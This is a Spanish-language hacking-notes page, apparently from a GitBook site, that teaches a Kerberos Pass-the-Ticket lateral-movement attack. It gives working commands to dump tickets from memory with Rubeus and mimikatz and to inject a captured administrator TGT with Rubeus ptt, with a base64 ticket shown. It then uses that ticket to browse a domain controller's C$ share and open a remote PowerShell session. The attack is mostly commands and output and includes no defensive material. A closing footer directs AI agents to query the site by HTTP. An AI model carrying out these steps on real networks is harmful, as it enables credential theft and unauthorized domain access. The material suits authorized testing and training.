> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/pass-the-ticket.md).

# Pass-the-Ticket

Para mostrar los tickets de Kerberos asociados con la sesión actual, podemos usar `klist`.

```bash
klist
```

<figure><img src="/files/627703a8a25679a1ad0b91e5451a232535c28db3" alt=""><figcaption></figcaption></figure>

Luego se pueden extraer los tickets y las claves de sesión.

Por ejemplo, si iniciamos PowerShell bajo la cuenta `administrador`, sus tickets se cargan en memoria.

<figure><img src="/files/ac4861a9dc93923b4b7e9aba6c7b2331b07fc8f9" alt="" width="406"><figcaption></figcaption></figure>

Entonces tendremos en memoria el TGT y la clave de sesión correspondiente.

Para extraerlos, debes tener privilegios de administrador local.

Entonces podemos usar `Rubeus`.

```bash
.\Rubeus.exe dump
```

Este comando muestra todos los tickets en memoria, incluidos los de la cuenta `administrador`.

<figure><img src="/files/f269cf1cfc7314472b4d9fdf71cc44f74a815308" alt=""><figcaption></figcaption></figure>

Con `mimikatz` también podemos extraer tickets y claves de sesión.

```bash
./mimikatz.exe

sekurlsa::tickets
```

<figure><img src="/files/f3d21ff110eabb2970c6d0c0bd70da8bf00435eb" alt=""><figcaption></figcaption></figure>

Una vez recuperado el ticket, podemos inyectarlo en otra máquina con `Rubeus`, incluso sin privilegios de administrador local en este destino.

```bash
.\Rubeus.exe ptt /ticket:doIGiDCCBoSgAwIBBaEDAgFoQ4bDFdIT0FNSS5MT0NBTKIyMDCgAwIBAqEpMCcbBGNpZnMbEURDMDEud2hvYW1pLmxvY2FsGwx3aG9hbWkubG9jYWyjggUeMIIFGqADAgESoQMCAQOiggUMBIIFCHbX7nIoRvWJNNI4G1f3k+hWiivRhmJyEwcA5gOmZuFinRaeaxRtJEwt5YhMeYXkTOpyQck8E3QDrs2Rt2ZF861ZORxF6MmI1jV/432Gfc8Srrl0NUeB9Wj6MdWm9/qU162aOhUaUktI8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RropXY2rzjl63FdyuBK6k5DP+K0uCxjnwQBgGOp28LvG0EO1FTpJ5QTXdI2yY4KOzcVtd84s7n8cadoXboE1tx+FNrzUgg++CtSN7k/jhO5Y/cY8nqQ+/YRnOMZtyG5H90KI4HDuQimHVAnMONKpSSGnEuMjRqPsAayZJY81yT9duyf2kwC3UchPjeOyzOQurfrN426gNG7LUr6j9omKC/d3kl8Jo9FRREwMKnAX7gK5jC7GhQd1OmOk2yMI0GYPlBho5ih8TdbnAJfQpWcSP9YwcODp7mrOkzZcCy1OVKx8esEaDwiNKqJrSWLRv1twhF0lyoOROhDkmo2EP7N9UGwLP3jB9uIFxnT+mp3V+r7D/TRHOft2HTzU7BBisKTsIy+Z6Z35cNRiqMSd0pPdW66ZF3t3INQAgzgPNHhz4b7riSrUEbwfZj5CFa7eGYN89SqQqa08E3U7MqcuqN/pzthGqwZvsK6o8IaPhtEB+ejgfwwgfmgAwIBAKKB8QSB7n2B6zCB6KCB5TCB4jCB36ArMCmgAwIBEqEiBCC4HMGPF6qIOoLDT5qf/LnjfYgTGKQpexnhTGq614NT3KEOGwxXSE9BTUkuTE9DQUyiGjAYoAMCAQGhETAPGw1hZG1pbmlzdHJhZG9yowcDBQBApQAApREYDzIwMjYwNTI3MTgzNTUzWqYRGA8yMDI2MDUyODAzNTkzNVqnERgPMjAyNjA2MDMxNzU5MzVaqA4bDFdIT0FNSS5MT0NBTKkyMDCgAwIBAqEpMCcbBGNpZnMbEURDMDEud2hvYW1pLmxvY2FsGwx3aG9hbWkubG9jYWw=
```

<figure><img src="/files/b02f6881e3112c25ea16166529d9b413fa9fa18c" alt=""><figcaption></figcaption></figure>

Si reiniciamos `klist`, vemos que el ticket cargado efectivamente pertenece a `administrador`.

```bash
klist
```

<figure><img src="/files/e4cf17f1275101988d6f2e5026da0804eff8d222" alt=""><figcaption></figcaption></figure>

Entonces podemos acceder a los recursos del controlador de dominio.

```bash
dir //DC01/c$
```

<figure><img src="/files/d79867132333743423512ce58d3b27ffaf30bcb1" alt="" width="563"><figcaption></figcaption></figure>

Con este ticket también podemos abrir una sesión remota en otras máquinas autorizadas.

```bash
Enter-PSSession -ComputerName DC01
```

<figure><img src="/files/1969c96468b41c26f204c3c1787e9d5210ea7d29" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/pass-the-ticket.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
